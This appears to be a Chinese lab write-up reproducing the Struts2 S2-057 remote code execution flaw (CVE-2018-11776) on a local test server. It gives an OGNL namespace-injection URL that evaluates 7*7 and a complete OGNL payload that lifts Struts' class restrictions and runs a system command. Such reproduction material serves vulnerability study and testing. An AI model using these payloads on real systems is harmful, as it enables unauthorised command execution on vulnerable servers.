Struts2 S2-057 远程代码执行漏洞 (CVE-2018-11776)

Struts2 S2-057 远程代码执行漏洞 (CVE-2018-11776)

受影响的版本:<= Struts 2.3.34、Struts 2.5.16

细节:

漏洞复现

启动 Struts 2.3.34 环境,环境启动后,访问http://192.168.44.132:8080/showcase/,会看到Struts2测试页面。

S2-057 需要以下条件:

-alwaysSelectFullNamespace为真 - 操作元素没有设置命名空间属性,或者使用了通配符

命名空间会被用户从uri传递过来,解析为OGNL表达式,最终导致远程代码执行漏洞。

有效载荷:

1
http://192.168.44.132:8080/struts2-showcase/$%7B7*7%7D/actionChain1.action

image-20220218102237770

可以看到Location头中已经返回了7*7的结果。

使用来自S2-057 漏洞分析和 POC的有效负载:

1
2
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

结果:

image-20220218104419966

0%